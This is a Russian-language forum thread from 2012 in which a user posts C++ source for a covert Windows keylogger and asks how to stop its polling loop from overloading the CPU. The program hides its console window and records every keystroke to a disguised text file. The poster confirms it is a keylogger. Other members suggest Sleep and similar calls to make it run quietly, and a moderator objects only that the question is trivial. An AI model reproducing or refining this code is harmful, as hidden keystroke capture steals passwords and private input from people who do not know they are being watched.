Сейчас на форуме: UniSoft, zds, ManHunter, rmn (+5 невидимых)

 eXeL@B —› Программирование —› Как побороть цикл чтоб не перегружал процессор ?
Посл.ответ Сообщение

Ранг: 2.1 (гость)
Активность: 0=0
Статус: Участник

Создано: 14 февраля 2012 00:31
· Личное сообщение · #1

// loger.cpp: определяет точку входа для консольного приложения.
//

#include "stdafx.h"
#include<iostream>
#include<windows.h>
#include<winuser.h>

using namespace std;



int S (int key, char *files)
{
if ( (key == 1) || (key == 2) )
return 0;
FILE *Save;
Save = fopen(files, "a+");
cout << key << endl;
fprintf(Save, "%s", &key);
fclose (Save);
return 0;
}

void Hide()
{
HWND Hide;
AllocConsole();
Hide = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Hide,0);
}

int main()
{
Hide();
char q;

while (1)
{
for(q = 8; q <= 190; q++)
{
if (GetAsyncKeyState(q) == -32767)
S (q,"C:\sisstems.txt");
}
}
system ("PAUSE");
return 0;
}




Ранг: 105.6 (ветеран), 36thx
Активность: 0.10
Статус: Участник

Создано: 14 февраля 2012 00:40
· Личное сообщение · #2

stdio, что такое события аффтар знает?
Если нет гуглим, и нефиг озобретать велосипед, пользуйся тем что давно накодено. Просто создай консольное приложение и всё.
int main(){

return 0;
}




Ранг: 681.5 (! !), 405thx
Активность: 0.420.21
Статус: Участник
ALIEN Hack Team

Создано: 14 февраля 2012 00:41
· Личное сообщение · #3

Типа кейлоггер?

-----
Stuck to the plan, always think that we would stand up, never ran.




Ранг: 617.3 (!), 677thx
Активность: 0.540
Статус: Участник

Создано: 14 февраля 2012 00:46
· Личное сообщение · #4

sleep впендюрь



Ранг: 2.1 (гость)
Активность: 0=0
Статус: Участник

Создано: 14 февраля 2012 00:52
· Личное сообщение · #5

спасибо, буду пробовать. Да это кейлоггер. на самом деле я просто ещё ни знаю не одного варианта на си, чтоб притормозить программу,поэтому и спросил)



Ранг: 237.0 (наставник), 20thx
Активность: 0.130
Статус: Участник
sysenter

Создано: 14 февраля 2012 03:58
· Личное сообщение · #6

Sleep, NtYieldExecution, Idle поток, SetProcessAffinityMask

-----
продавец резиновых утёнков





Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 14 февраля 2012 09:27
· Личное сообщение · #7

Автор начинает уже утомлять такими топиками. Мало того, что к форуму вопрос имеет отношения мало, так ещё и вопросы, ответами на которые переполнен гугл. Настоятельно рекомендуется освоить хотя бы основы, как апи функций, так и конструкций языка, а не бежать сюда по любому вопросу. Можно считать это предупреждением.
З.Ы. Что касается предыдущего топика, пользуйся кнопкой "Правка", не создавай сообщения подряд.

| Сообщение посчитали полезным: HandMill

Ранг: 2.1 (гость)
Активность: 0=0
Статус: Участник

Создано: 14 февраля 2012 15:18
· Личное сообщение · #8

Уважаемый модератор наверное в курсе когда я зарегистрировался(наверное около месяца уже), бываю на форуме каждый день...
Раз уж есть такая возможность спросить почему бы не воспользоваться...а так как правило я сам нахожу интересующую меня инфу. а ещё почему бы не создать подфорум для подобных вопросов? Для оффтопа ранг маленькие(замкнутый круг получается)
За советы всем спасибо.
По поводу сообщений подряд виноват,исправлюсь...




Ранг: 105.6 (ветеран), 36thx
Активность: 0.10
Статус: Участник

Создано: 14 февраля 2012 15:49
· Личное сообщение · #9

stdio, есть вопросы новичков




Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 14 февраля 2012 16:37
· Личное сообщение · #10

Ограничение по рангу в оффтопе сделано специально, чтобы форум этим самым оффтопом не заваливали все подряд новоприбывшие. А что касается подфорума, тут дело в форуме вообще, к реверсу вопрос про незагрузку процессора в цикле относится мало, скоре это азы программирования. Для кодинга форумов хватает. Я, конечно, понимаю, что всегда проще спросить, чтоб другие люди пошарились в гугле/закромах памяти и ответили, чем шариться самому, но всё же неплохо знать меру, вопрос явно тривиальный.

| Сообщение посчитали полезным: Dart Sergius
 eXeL@B —› Программирование —› Как побороть цикл чтоб не перегружал процессор ?
:: Ваш ответ
Жирный  Курсив  Подчеркнутый  Перечеркнутый  {mpf5}  Код  Вставить ссылку 
:s1: :s2: :s3: :s4: :s5: :s6: :s7: :s8: :s9: :s10: :s11: :s12: :s13: :s14: :s15: :s16:


Максимальный размер аттача: 500KB.
Ваш логин: german1505 » Выход » ЛС
   Для печати Для печати